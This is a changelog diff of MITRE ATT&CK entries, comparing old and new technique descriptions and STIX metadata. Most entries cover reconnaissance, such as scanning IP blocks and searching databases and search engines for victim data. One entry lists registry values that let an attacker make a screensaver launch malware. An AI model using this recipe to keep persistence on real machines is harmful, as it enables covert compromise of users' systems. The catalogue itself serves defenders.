| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_defense_bypassed | Application control |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search within | t | 1 | Adversaries may search within public scan databases for info |
| > | public scan databases for information about victims that can | > | rmation about victims that can be used during targeting. Var | ||
| > | be used during targeting. Various online services continuou | > | ious online services continuously publish the results of Int | ||
| > | sly publish the results of Internet scans/surveys, often har | > | ernet scans/surveys, often harvesting information such as ac | ||
| > | vesting information such as active IP addresses, hostnames, | > | tive IP addresses, hostnames, open ports, certificates, and | ||
| > | open ports, certificates, and even server banners.(Citation: | > | even server banners.(Citation: Shodan) Adversaries may sear | ||
| > | Shodan) Adversaries may search scan databases to gather ac | > | ch scan databases to gather actionable information. Threat a | ||
| > | tionable information. Threat actors can use online resources | > | ctors can use online resources and lookup tools to harvest i | ||
| > | and lookup tools to harvest information from these services | > | nformation from these services. Adversaries may seek informa | ||
| > | . Adversaries may seek information about their already ident | > | tion about their already identified targets, or use these da | ||
| > | ified targets, or use these datasets to discover opportuniti | > | tasets to discover opportunities for successful breaches. In | ||
| > | es for successful breaches. Information from these sources m | > | formation from these sources may reveal opportunities for ot | ||
| > | ay reveal opportunities for other forms of reconnaissance (e | > | her forms of reconnaissance (ex: [Active Scanning](https://a | ||
| > | x: [Active Scanning](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1595) or [Search Open Websites/D | ||
| > | 95) or [Search Open Websites/Domains](https://attack.mitre.o | > | omains](https://attack.mitre.org/techniques/T1593)), establi | ||
| > | rg/techniques/T1593)), establishing operational resources (e | > | shing operational resources (ex: [Develop Capabilities](http | ||
| > | x: [Develop Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1587) or [Obtain Capabiliti | ||
| > | s/T1587) or [Obtain Capabilities](https://attack.mitre.org/t | > | es](https://attack.mitre.org/techniques/T1588)), and/or init | ||
| > | echniques/T1588)), and/or initial access (ex: [External Remo | > | ial access (ex: [External Remote Services](https://attack.mi | ||
| > | te Services](https://attack.mitre.org/techniques/T1133) or [ | > | tre.org/techniques/T1133) or [Exploit Public-Facing Applicat | ||
| > | Exploit Public-Facing Application](https://attack.mitre.org/ | > | ion](https://attack.mitre.org/techniques/T1190)). | ||
| > | techniques/T1190)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:18.786000+00:00 | 2021-04-15 03:49:49.260000+00:00 |
| description | Before compromising a victim, adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may scan victim IP | t | 1 | Adversaries may scan victim IP blocks to gather information |
| > | blocks to gather information that can be used during target | > | that can be used during targeting. Public IP addresses may b | ||
| > | ing. Public IP addresses may be allocated to organizations b | > | e allocated to organizations by block, or a range of sequent | ||
| > | y block, or a range of sequential addresses. Adversaries ma | > | ial addresses. Adversaries may scan IP blocks in order to [ | ||
| > | y scan IP blocks in order to [Gather Victim Network Informat | > | Gather Victim Network Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1590), such as whi | > | techniques/T1590), such as which IP addresses are actively i | ||
| > | ch IP addresses are actively in use as well as more detailed | > | n use as well as more detailed information about hosts assig | ||
| > | information about hosts assigned these addresses. Scans may | > | ned these addresses. Scans may range from simple pings (ICMP | ||
| > | range from simple pings (ICMP requests and responses) to mo | > | requests and responses) to more nuanced scans that may reve | ||
| > | re nuanced scans that may reveal host software/versions via | > | al host software/versions via server banners or other networ | ||
| > | server banners or other network artifacts.(Citation: Botnet | > | k artifacts.(Citation: Botnet Scan) Information from these s | ||
| > | Scan) Information from these scans may reveal opportunities | > | cans may reveal opportunities for other forms of reconnaissa | ||
| > | for other forms of reconnaissance (ex: [Search Open Websites | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593) or [Sea | > | .org/techniques/T1593) or [Search Open Technical Databases]( | ||
| > | rch Open Technical Databases](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1596)), establishing op | ||
| > | iques/T1596)), establishing operational resources (ex: [Deve | > | erational resources (ex: [Develop Capabilities](https://atta | ||
| > | lop Capabilities](https://attack.mitre.org/techniques/T1587) | > | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | ||
| > | or [Obtain Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588)), and/or initial acce | ||
| > | s/T1588)), and/or initial access (ex: [External Remote Servi | > | ss (ex: [External Remote Services](https://attack.mitre.org/ | ||
| > | ces](https://attack.mitre.org/techniques/T1133)). | > | techniques/T1133)). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:06:09.139000+00:00 | 2021-04-15 03:19:38.469000+00:00 |
| description | Before compromising a victim, adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by user inactivity. Screensavers are prog | > | content triggered by user inactivity. Screensavers are prog | ||
| > | rams that execute after a configurable time of user inactivi | > | rams that execute after a configurable time of user inactivi | ||
| > | ty and consist of Portable Executable (PE) files with a .scr | > | ty and consist of Portable Executable (PE) files with a .scr | ||
| > | file extension.(Citation: Wikipedia Screensaver) The Window | > | file extension.(Citation: Wikipedia Screensaver) The Window | ||
| > | s screensaver application scrnsave.scr is located in <code>C | > | s screensaver application scrnsave.scr is located in <code>C | ||
| > | :\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</ | > | :\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</ | ||
| > | code> on 64-bit Windows systems, along with screensavers in | > | code> on 64-bit Windows systems, along with screensavers in | ||
| > | cluded with base Windows installations. The following scree | > | cluded with base Windows installations. The following scree | ||
| > | nsaver settings are stored in the Registry (<code>HKCU\Contr | > | nsaver settings are stored in the Registry (<code>HKCU\Contr | ||
| > | ol Panel\Desktop\</code>) and could be manipulated to achiev | > | ol Panel\Desktop\</code>) and could be manipulated to achiev | ||
| > | e persistence: * <code>SCRNSAVE.exe</code> - set to malicio | > | e persistence: * <code>SCRNSAVE.exe</code> - set to malicio | ||
| > | us PE path * <code>ScreenSaveActive</code> - set to '1' to e | > | us PE path * <code>ScreenSaveActive</code> - set to '1' to e | ||
| > | nable the screensaver * <code>ScreenSaverIsSecure</code> - s | > | nable the screensaver * <code>ScreenSaverIsSecure</code> - s | ||
| > | et to '0' to not require a password to unlock * <code>Screen | > | et to '0' to not require a password to unlock * <code>Screen | ||
| > | SaveTimeout</code> - sets user inactivity timeout before scr | > | SaveTimeout</code> - sets user inactivity timeout before scr | ||
| > | eensaver is executed Adversaries can use screensaver settin | > | eensaver is executed Adversaries can use screensaver settin | ||
| > | gs to maintain persistence by setting the screensaver to run | > | gs to maintain persistence by setting the screensaver to run | ||
| > | malware after a certain timeframe of user inactivity. (Cita | > | malware after a certain timeframe of user inactivity.(Citat | ||
| > | tion: ESET Gazer Aug 2017) | > | ion: ESET Gazer Aug 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 12:23:04.955000+00:00 | 2022-04-20 16:58:48.140000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:
* SCRNSAVE.exe - set to malicious PE path
* ScreenSaveActive - set to '1' to enable the screensaver
* ScreenSaverIsSecure - set to '0' to not require a password to unlock
* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) |
| external_references[1]['source_name'] | Wikipedia Screensaver | ESET Gazer Aug 2017 |
| external_references[1]['description'] | Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Screensaver | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
| external_references[2]['source_name'] | ESET Gazer Aug 2017 | Wikipedia Screensaver |
| external_references[2]['description'] | ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017. | Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017. |
| external_references[2]['url'] | https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf | https://en.wikipedia.org/wiki/Screensaver |
| x_mitre_data_sources[0] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[3] | Process monitoring | File: File Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search and gat | t | 1 | Adversaries may search and gather information about victims |
| > | her information about victims from closed sources that can b | > | from closed sources that can be used during targeting. Infor | ||
| > | e used during targeting. Information about victims may be av | > | mation about victims may be available for purchase from repu | ||
| > | ailable for purchase from reputable private sources and data | > | table private sources and databases, such as paid subscripti | ||
| > | bases, such as paid subscriptions to feeds of technical/thre | > | ons to feeds of technical/threat intelligence data.(Citation | ||
| > | at intelligence data.(Citation: D3Secutrity CTI Feeds) Adver | > | : D3Secutrity CTI Feeds) Adversaries may also purchase infor | ||
| > | saries may also purchase information from less-reputable sou | > | mation from less-reputable sources such as dark web or cyber | ||
| > | rces such as dark web or cybercrime blackmarkets.(Citation: | > | crime blackmarkets.(Citation: ZDNET Selling Data) Adversari | ||
| > | ZDNET Selling Data) Adversaries may search in different clo | > | es may search in different closed databases depending on wha | ||
| > | sed databases depending on what information they seek to gat | > | t information they seek to gather. Information from these so | ||
| > | her. Information from these sources may reveal opportunities | > | urces may reveal opportunities for other forms of reconnaiss | ||
| > | for other forms of reconnaissance (ex: [Phishing for Inform | > | ance (ex: [Phishing for Information](https://attack.mitre.or | ||
| > | ation](https://attack.mitre.org/techniques/T1598) or [Search | > | g/techniques/T1598) or [Search Open Websites/Domains](https: | ||
| > | Open Websites/Domains](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1593)), establishing operatio | ||
| > | T1593)), establishing operational resources (ex: [Develop Ca | > | nal resources (ex: [Develop Capabilities](https://attack.mit | ||
| > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | > | re.org/techniques/T1587) or [Obtain Capabilities](https://at | ||
| > | btain Capabilities](https://attack.mitre.org/techniques/T158 | > | tack.mitre.org/techniques/T1588)), and/or initial access (ex | ||
| > | 8)), and/or initial access (ex: [External Remote Services](h | > | : [External Remote Services](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1133) or [Valid Accounts | > | ques/T1133) or [Valid Accounts](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1078)). | > | hniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:53.892000+00:00 | 2021-04-15 03:45:31.020000+00:00 |
| description | Before compromising a victim, adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may use search eng | t | 1 | Adversaries may use search engines to collect information ab |
| > | ines to collect information about victims that can be used d | > | out victims that can be used during targeting. Search engine | ||
| > | uring targeting. Search engine services typical crawl online | > | services typical crawl online sites to index context and ma | ||
| > | sites to index context and may provide users with specializ | > | y provide users with specialized syntax to search for specif | ||
| > | ed syntax to search for specific keywords or specific types | > | ic keywords or specific types of content (i.e. filetypes).(C | ||
| > | of content (i.e. filetypes).(Citation: SecurityTrails Google | > | itation: SecurityTrails Google Hacking)(Citation: ExploitDB | ||
| > | Hacking)(Citation: ExploitDB GoogleHacking) Adversaries ma | > | GoogleHacking) Adversaries may craft various search engine | ||
| > | y craft various search engine queries depending on what info | > | queries depending on what information they seek to gather. T | ||
| > | rmation they seek to gather. Threat actors may use search en | > | hreat actors may use search engines to harvest general infor | ||
| > | gines to harvest general information about victims, as well | > | mation about victims, as well as use specialized queries to | ||
| > | as use specialized queries to look for spillages/leaks of se | > | look for spillages/leaks of sensitive information such as ne | ||
| > | nsitive information such as network details or credentials. | > | twork details or credentials. Information from these sources | ||
| > | Information from these sources may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Phishing for Information | > | (ex: [Phishing for Information](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1598) or [Search Open | > | hniques/T1598) or [Search Open Technical Databases](https:// | ||
| > | Technical Databases](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1596)), establishing operationa | ||
| > | 596)), establishing operational resources (ex: [Establish Ac | > | l resources (ex: [Establish Accounts](https://attack.mitre.o | ||
| > | counts](https://attack.mitre.org/techniques/T1585) or [Compr | > | rg/techniques/T1585) or [Compromise Accounts](https://attack | ||
| > | omise Accounts](https://attack.mitre.org/techniques/T1586)), | > | .mitre.org/techniques/T1586)), and/or initial access (ex: [V | ||
| > | and/or initial access (ex: [Valid Accounts](https://attack. | > | alid Accounts](https://attack.mitre.org/techniques/T1078) or | ||
| > | mitre.org/techniques/T1078) or [Phishing](https://attack.mit | > | [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | re.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:22:11.245000+00:00 | 2021-04-15 03:52:06.960000+00:00 |
| description | Before compromising a victim, adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search freely | t | 1 | Adversaries may search freely available technical databases |
| > | available technical databases for information about victims | > | for information about victims that can be used during target | ||
| > | that can be used during targeting. Information about victims | > | ing. Information about victims may be available in online da | ||
| > | may be available in online databases and repositories, such | > | tabases and repositories, such as registrations of domains/c | ||
| > | as registrations of domains/certificates as well as public | > | ertificates as well as public collections of network data/ar | ||
| > | collections of network data/artifacts gathered from traffic | > | tifacts gathered from traffic and/or scans.(Citation: WHOIS) | ||
| > | and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citat | > | (Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citati | ||
| > | ion: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: | > | on: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: | ||
| > | SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: | > | DigitalShadows CDN)(Citation: Shodan) Adversaries may searc | ||
| > | Shodan) Adversaries may search in different open databases | > | h in different open databases depending on what information | ||
| > | depending on what information they seek to gather. Informati | > | they seek to gather. Information from these sources may reve | ||
| > | on from these sources may reveal opportunities for other for | > | al opportunities for other forms of reconnaissance (ex: [Phi | ||
| > | ms of reconnaissance (ex: [Phishing for Information](https:/ | > | shing for Information](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1598) or [Search Open Websites | > | 1598) or [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593)), estab | > | .org/techniques/T1593)), establishing operational resources | ||
| > | lishing operational resources (ex: [Acquire Infrastructure]( | > | (ex: [Acquire Infrastructure](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1583) or [Compromise In | > | iques/T1583) or [Compromise Infrastructure](https://attack.m | ||
| > | frastructure](https://attack.mitre.org/techniques/T1584)), a | > | itre.org/techniques/T1584)), and/or initial access (ex: [Ext | ||
| > | nd/or initial access (ex: [External Remote Services](https:/ | > | ernal Remote Services](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1133) or [Trusted Relationship | > | 1133) or [Trusted Relationship](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1199)). | > | hniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:44.166000+00:00 | 2021-04-15 03:50:44.308000+00:00 |
| description | Before compromising a victim, adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search freely | t | 1 | Adversaries may search freely available websites and/or doma |
| > | available websites and/or domains for information about vict | > | ins for information about victims that can be used during ta | ||
| > | ims that can be used during targeting. Information about vic | > | rgeting. Information about victims may be available in vario | ||
| > | tims may be available in various online sites, such as socia | > | us online sites, such as social media, new sites, or those h | ||
| > | l media, new sites, or those hosting information about busin | > | osting information about business operations such as hiring | ||
| > | ess operations such as hiring or requested/rewarded contract | > | or requested/rewarded contracts.(Citation: Cyware Social Med | ||
| > | s.(Citation: Cyware Social Media)(Citation: SecurityTrails G | > | ia)(Citation: SecurityTrails Google Hacking)(Citation: Explo | ||
| > | oogle Hacking)(Citation: ExploitDB GoogleHacking) Adversari | > | itDB GoogleHacking) Adversaries may search in different onl | ||
| > | es may search in different online sites depending on what in | > | ine sites depending on what information they seek to gather. | ||
| > | formation they seek to gather. Information from these source | > | Information from these sources may reveal opportunities for | ||
| > | s may reveal opportunities for other forms of reconnaissance | > | other forms of reconnaissance (ex: [Phishing for Informatio | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/te | > | n](https://attack.mitre.org/techniques/T1598) or [Search Ope | ||
| > | chniques/T1598) or [Search Open Technical Databases](https:/ | > | n Technical Databases](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1596)), establishing operation | > | 1596)), establishing operational resources (ex: [Establish A | ||
| > | al resources (ex: [Establish Accounts](https://attack.mitre. | > | ccounts](https://attack.mitre.org/techniques/T1585) or [Comp | ||
| > | org/techniques/T1585) or [Compromise Accounts](https://attac | > | romise Accounts](https://attack.mitre.org/techniques/T1586)) | ||
| > | k.mitre.org/techniques/T1586)), and/or initial access (ex: [ | > | , and/or initial access (ex: [External Remote Services](http | ||
| > | External Remote Services](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1133) or [Phishing](https:/ | ||
| > | s/T1133) or [Phishing](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1566)). | ||
| > | 1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
